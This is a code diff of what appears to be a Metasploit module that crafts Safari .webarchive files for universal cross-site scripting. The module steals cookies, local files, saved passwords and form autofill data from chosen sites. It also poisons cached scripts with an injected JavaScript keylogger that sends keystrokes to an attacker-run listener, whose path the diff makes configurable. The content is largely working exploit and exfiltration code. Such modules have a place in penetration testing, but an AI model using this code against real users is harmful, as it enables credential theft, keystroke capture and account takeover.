@@ -24,8 +24,9 @@ def initialize(info = {})
24
24
in Safari's .webarchive file format. The format allows you to
25
25
specify both domain and content, so we can run arbitrary script in the
26
26
context of any domain. This allows us to steal cookies, file URLs, and saved
27
- passwords from any website we want. On sites that link to cached javascripts,
28
- we can poison the user's browser cache and install keyloggers.
27
+ passwords from any website we want -- in other words, it is a universal
28
+ cross-site scripting vector (UXSS). On sites that link to cached javascripts,
29
+ we can additionally poison user's browser cache and install keyloggers.
29
30
} ,
30
31
'License' => MSF_LICENSE ,
31
32
'Author' => 'joev' ,
@@ -47,16 +48,14 @@ def initialize(info = {})
47
48
register_options (
48
49
[
49
50
OptString . new ( 'FILENAME' , [ true , 'The file name.' , 'msf.webarchive' ] ) ,
50
- OptString . new ( 'URLS' , [ true , 'The URLs to steal cookie and form data from.' , '' ] ) ,
51
+ OptString . new ( 'URLS' , [ true , 'A space-delimited list of URLs to UXSS (eg http//browserscan.rapid7.com/' ] ) ,
52
+ OptString . new ( 'URIPATH' , [ false , 'The URI to receive the UXSS\'ed data' , '/grab' ] ) ,
51
53
OptString . new ( 'FILE_URLS' , [ false , 'Additional file:// URLs to steal.' , '' ] ) ,
52
54
OptBool . new ( 'STEAL_COOKIES' , [ true , "Enable cookie stealing." , true ] ) ,
53
55
OptBool . new ( 'STEAL_FILES' , [ true , "Enable local file stealing." , true ] ) ,
54
- OptBool . new ( 'INSTALL_KEYLOGGERS' , [ true , "Attempt to poison the user's cache " +
55
- "with a javascript keylogger." , true ] ) ,
56
+ OptBool . new ( 'INSTALL_KEYLOGGERS' , [ true , "Attempt to poison the user's cache with a javascript keylogger." , true ] ) ,
56
57
OptBool . new ( 'STEAL_FORM_DATA' , [ true , "Enable form autofill stealing." , true ] ) ,
57
-
58
- OptBool . new ( 'ENABLE_POPUPS' , [ false , "Enable the popup window fallback method for" +
59
- " stealing form data." , true ] )
58
+ OptBool . new ( 'ENABLE_POPUPS' , [ false , "Enable the popup window fallback method for stealing form data." , true ] )
60
59
] ,
61
60
self . class )
62
61
end
@@ -76,7 +75,7 @@ def cleanup
76
75
super
77
76
# clear my resource, deregister ref, stop/close the HTTP socket
78
77
begin
79
- @http_service . remove_resource ( "/grab" )
78
+ @http_service . remove_resource ( collect_data_uri )
80
79
@http_service . deref
81
80
@http_service . stop
82
81
@http_service . close
@@ -140,7 +139,7 @@ def start_http(opts={})
140
139
'Proc' => Proc . new { |cli , req |
141
140
on_request_uri ( cli , req )
142
141
} ,
143
- 'Path' => "/grab"
142
+ 'Path' => collect_data_uri
144
143
} . update ( opts [ 'Uri' ] || { } )
145
144
146
145
proto = ( datastore [ "SSL" ] ? "https" : "http" )
@@ -163,7 +162,7 @@ def start_http(opts={})
163
162
def on_request_uri ( cli , request )
164
163
begin
165
164
data = if request . body . size > 0
166
- request . body
165
+ request . body
167
166
else
168
167
request . qstring [ 'data' ]
169
168
end
@@ -186,7 +185,7 @@ def webarchive_xml
186
185
def webarchive_header
187
186
%Q|
188
187
<?xml version="1.0" encoding="UTF-8"?>
189
- <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
188
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
190
189
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
191
190
<plist version="1.0">
192
191
<dict>
@@ -254,7 +253,6 @@ def webarchive_resources_for_poisoning_cache(url)
254
253
scripts = scripts_to_poison [ url_idx ] || [ ]
255
254
xml_dicts = scripts . map do |script |
256
255
script_body = inject_js_keylogger ( script [ :body ] )
257
- puts
258
256
%Q|
259
257
<dict>
260
258
<key>WebResourceData</key>
@@ -293,8 +291,8 @@ def web_response_xml(script)
293
291
# this is a binary plist, but im too lazy to write a real encoder.
294
292
# ripped this straight out of a safari webarchive save.
295
293
script [ 'content-length' ] = script [ :body ] . length
296
- whitelist = %w( content-type content-length date etag
297
- Last-Modified cache-control expires )
294
+ whitelist = %w( content-type content-length date etag
295
+ Last-Modified cache-control expires )
298
296
headers = script . clone . delete_if { |k , v | not whitelist . include? k }
299
297
300
298
key_set = headers . keys . sort
@@ -612,7 +610,7 @@ def steal_form_data_for_url(url)
612
610
var iframe = tryInIframe();
613
611
if (#{ should_pop_up? } ) {
614
612
window.setTimeout(function(){
615
-
613
+
616
614
if (iframe.contentDocument &&
617
615
iframe.contentDocument.location.href == 'about:blank') {
618
616
tryInNewWin();
@@ -670,7 +668,7 @@ def inject_js_keylogger(original_js)
670
668
data = JSON.stringify({keystrokes: keystrokes, time: time});
671
669
img.src = '#{ backend_url } #{ collect_data_uri } ?data='+data;
672
670
}
673
- document.addEventListener('keydown', function(e) {
671
+ document.addEventListener('keydown', function(e) {
674
672
var c = String.fromCharCode(e.keyCode);
675
673
if (c.length > 0) buffer += c;
676
674
}, true);
@@ -715,24 +713,43 @@ def all_script_urls(pages)
715
713
716
714
# @return [Array<Array<String>>] list of URLs for remote javascripts that are cacheable
717
715
def find_cached_scripts
718
- cached_scripts = all_script_urls ( urls ) . map do |urls_for_site |
716
+ cached_scripts = all_script_urls ( urls ) . each_with_index . map do |urls_for_site , i |
717
+ begin
718
+ page_uri = URI . parse ( urls [ i ] )
719
+ rescue URI ::InvalidURIError => e
720
+ next
721
+ end
722
+
719
723
results = urls_for_site . uniq . map do |url |
720
- print_status "URL: #{ url } "
721
- io = open url
722
- # parse some HTTP headers and do type coercions
723
- last_modified = io . last_modified
724
- expires = Time . parse ( io . meta [ 'expires' ] ) rescue nil
725
- cache_control = io . meta [ 'cache-control' ] || ''
726
- charset = io . charset
727
- etag = io . meta [ 'etag' ]
728
- # lets see if we are able to "poison" the cache for this asset...
729
- if ( !expires . nil? && Time . now < expires ) or
730
- ( cache_control . length > 0 ) or # if asset is cacheable
731
- ( last_modified . length > 0 )
732
- print_status ( "Found cacheable #{ url } " )
733
- io . meta . merge ( :body => io . read , :url => url )
734
- else
735
- nil
724
+ begin
725
+ print_status "URL: #{ url } "
726
+ begin
727
+ script_uri = URI . parse ( url )
728
+ if script_uri . relative?
729
+ url = page_uri + url
730
+ end
731
+ io = open ( url )
732
+ rescue URI ::InvalidURIError => e
733
+ next
734
+ end
735
+
736
+ # parse some HTTP headers and do type coercions
737
+ last_modified = io . last_modified
738
+ expires = Time . parse ( io . meta [ 'expires' ] ) rescue nil
739
+ cache_control = io . meta [ 'cache-control' ] || ''
740
+ charset = io . charset
741
+ etag = io . meta [ 'etag' ]
742
+ # lets see if we are able to "poison" the cache for this asset...
743
+ if ( !expires . nil? && Time . now < expires ) or
744
+ ( cache_control . length > 0 ) or # if asset is cacheable
745
+ ( not last_modified . nil? and last_modified . to_s . length > 0 )
746
+ print_status ( "Found cacheable #{ url } " )
747
+ io . meta . merge ( :body => io . read , :url => url )
748
+ else
749
+ nil
750
+ end
751
+ rescue Errno ::ENOENT => e # lots of things can go wrong here.
752
+ next
736
753
end
737
754
end
738
755
results . compact # remove nils
@@ -745,7 +762,14 @@ def find_cached_scripts
745
762
746
763
# @return [String] the path to send data back to
747
764
def collect_data_uri
748
- "/grab"
765
+ path = datastore [ "URIPATH" ]
766
+ if path . nil? or path . empty?
767
+ '/grab'
768
+ elsif path =~ /^\/ /
769
+ path
770
+ else
771
+ "/#{ path } "
772
+ end
749
773
end
750
774
751
775
# @return [String] formatted http/https URL of the listener
@@ -780,9 +804,9 @@ def urls
780
804
# @param [String] input the unencoded string
781
805
# @return [String] input with dangerous chars replaced with xml entities
782
806
def escape_xml ( input )
783
- input . gsub ( "&" , "&" ) . gsub ( "<" , "<" )
784
- . gsub ( ">" , ">" ) . gsub ( "'" , "'" )
785
- . gsub ( "\" " , """ )
807
+ input . to_s . gsub ( "&" , "&" ) . gsub ( "<" , "<" )
808
+ . gsub ( ">" , ">" ) . gsub ( "'" , "'" )
809
+ . gsub ( "\" " , """ )
786
810
end
787
811
788
812
def should_steal_cookies?
0 commit comments